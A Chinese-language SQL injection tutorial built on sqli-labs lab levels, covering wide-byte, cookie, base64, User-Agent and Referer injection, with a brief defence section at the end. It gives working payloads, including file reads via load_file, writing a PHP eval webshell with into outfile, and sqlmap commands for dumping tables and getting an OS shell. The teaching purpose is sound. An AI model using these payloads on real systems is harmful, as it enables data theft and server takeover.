网站推广有用吗?,介绍网站建设,邢台网红隧道,dedecms网站地图制作文章目录 宽字节注入案例 HTTP头部注入Cookie注入base64User-Agent注入Referer 注入 SQL注入读写文件条件1.是否拥有读写权限2.文件路径3.secure_file_priv 读取文件写入文件 SQLMap安装sqlmapkail 源安装仓库克隆 参数简介快速入门#xff1b;SQLmap#xff08;常规#xf… 文章目录 宽字节注入案例 HTTP头部注入Cookie注入base64User-Agent注入Referer 注入 SQL注入读写文件条件1.是否拥有读写权限2.文件路径3.secure_file_priv 读取文件写入文件 SQLMap安装sqlmapkail 源安装仓库克隆 参数简介快速入门SQLmap常规使用步骤POST注入方法GetShell SQL 注⼊漏洞防御 宽字节注入
宽字节注入是用在引号闭合前有转义字符\的他会让闭合引号失效根据gbk编码前面加一个%变成url编码后再在5C 之前添加一个字符[81,FE] 之间该字符就会和5c 组成一个汉字。
从而逃过转义限制
案例
在sqli-labs中less-32关中就有体现 进入关卡 寻找注入点 发现变化进行单引号闭合发现被转义 在闭合前加入字符81进行url编码%81连接后门的\的字符编码将\变为汉字失去转义功能 出现报错信息进行报错注入http://10.9.47.77/sqli-labs/Less-32/?id2%81%27and%20updatexml(1,concat(0x5E,(select%20database()),0x5E),1)-- http://10.9.47.77/sqli-labs/Less-32/?id2%81and updatexml(1,concat(0x3A,(select version()),0x3A),1)--
HTTP头部注入
Cookie注入
对网页内容进行抓包在Cookie字段进行引号闭合寻找注入点 发现报错写入报错注入语句用#号闭合 如果#号无法闭合猜测后面还有单引号 可以使用 and ‘1进行闭合
base64
注入的参数需要进行base64 编码 在sqli-labs中less-22关中就有体现登录后发现cookie进行了编码 将cookie换成admin “进行闭合然后base64编码后发现报错存在sql注入 通过admin order by 3 # 语句发现他的列数为3 使用联合查询爆出数据库名和版本admin and 12 union select 1,version(),database() #
User-Agent注入
修改http头文件里的user-agent字段
User-Agent: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and 1 在 sqli-labs18关有体现 登录后我们可以看到浏览器指纹信息尝试在里面sql注入 进行报错注入 Referer 注入
在Referer 字段中注入sql语句
Referer: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and ‘1 在sqli-labs-19中就有体现 我们在头文件里进行注入找到’ and 1进行闭合插入 加入sql语句
SQL注入读写文件
条件
1.是否拥有读写权限
想要进行文件读写需要检测用户是否拥有文件权限 ?id2 and 12 union select 1,user(),3 # 得到当前登录的用户名进行权限查询 ?id2 and 12 union select 1,user(),file_priv from mysql.user where userroot and host localhost #
2.文件路径
读写时文件必须使用绝对路径
3.secure_file_priv
mySQL 数据库有关于文件读写的安全选项 secure_file_priv。
secure_file_priv 参数限制了 mysqld(MySQL DBMS) 的导入导出操作这个选项是不能利用SQL 语句修改必须修改 my.ini 配置文件并重启 mysql 数据库。 在数据库中也可以查看 show global variables like %secure_file_priv%;
参数含义secure_file_privNULL限制 mysqld 不允许导入导出操作。secure_file_priv‘c:/ajest/’限制 mysqld 的导入导出操作在某个固定目录下并且子目录有效。secure_file_priv不对 mysqld 的导入导出操作做限制。
本案例为空
读取文件
使用load_file函数进行文件读取 http://10.9.47.77/sqli-labs/Less-2/?id2 and 12 union select 1,load_file(C:\\cms.sql),3# 可以看到读取到了文件
写入文件
使用into outfile函数 http://10.9.47.77/sqli-labs/Less-2/?id2 and 12 union select 1,?php eval ($_REQUEST[777]);?,3 into outfile C:/phpstudy_2016/www/yjh.php -- 文件上传成功
SQLMap
SQLMap 是一款专注于 SQLi 的工具堪称神器。SQLmap 基于 Python 语言编写的命令行工具集成在 Kali 中。
安装sqlmap
kail 源安装
sudo apt install sqlmap仓库克隆
git clone https://github.com/sqlmapproject/sqlmap.git #将仓库克隆到本地
git fetch #检测更新
git pull #更新参数简介
参数含义-u检测注入点–dbs列出所有的库名–current-user当前连接数据库用户的名字–current-db当前数据库的名字-D “cms”指定目标数据库为 cms–tables列出数据库中所有的表名-T “cms_users”指定目标表名为 cms_users–columns列出所有的字段名-C ‘username,password’指定目标字段–dump列出字段内容-r从文件中读取HTTP 请求–os-shell在特定情况下可以直接获得目标系统 Shell–level 3设置 sqlmap 检测等级 3–cookie“usernameadmin”携带 Cookie 信息进行注入-g利用 google 搜索引擎自动搜索注入点–batch使用默认选项–random-agent使用随机 User-Agent 信息-v 3显示 payload
快速入门SQLmap常规使用步骤
1、检测「注入点」
sqlmap -u http://xx/?id1 2、查看所有「数据库」
sqlmap -u http://xx/?id1 --dbs
3、查看当前使用的数据库
sqlmap -u http://xx/?id1 --current-db 4、查看「数据表」
sqlmap -u http://xx/?id1 -D security --tables 5、查看「字段」
sqlmap -u http://xx/?id1 -D security -T users --tables
6、查看「数据」
sqlmap -u http://xx/?id1 -D security -T users --dump
POST注入方法
将遇到post请求在bp进行抓包将请求头文件放入一个文件里 使用
sqlmap -r 文件名就可以跑post请求了
GetShell 受到 secure_file_priv 选项的限制 填写路径时要写目标系统 Web 根目录的绝对路径 目录权限 启动sqlmap.\sqlmap.py -u http://10.9.47.77/sqli-labs/Less-2/?id2 --os-shell 可以看到引进进入选择一个语言然后选着自定义写入一个正确的绝对路径即可反弹
SQL 注⼊漏洞防御 避免采用拼接的方式构造 SQL 语句可以采用PDO预编译等技术 对进入 SQL 语句的参数进行足够过滤。 部署安全设备如 WAF。定制武器库
利用编程语言写一些小工具。通过对工具的改造达到定制化的目的适用于不同的实战场景。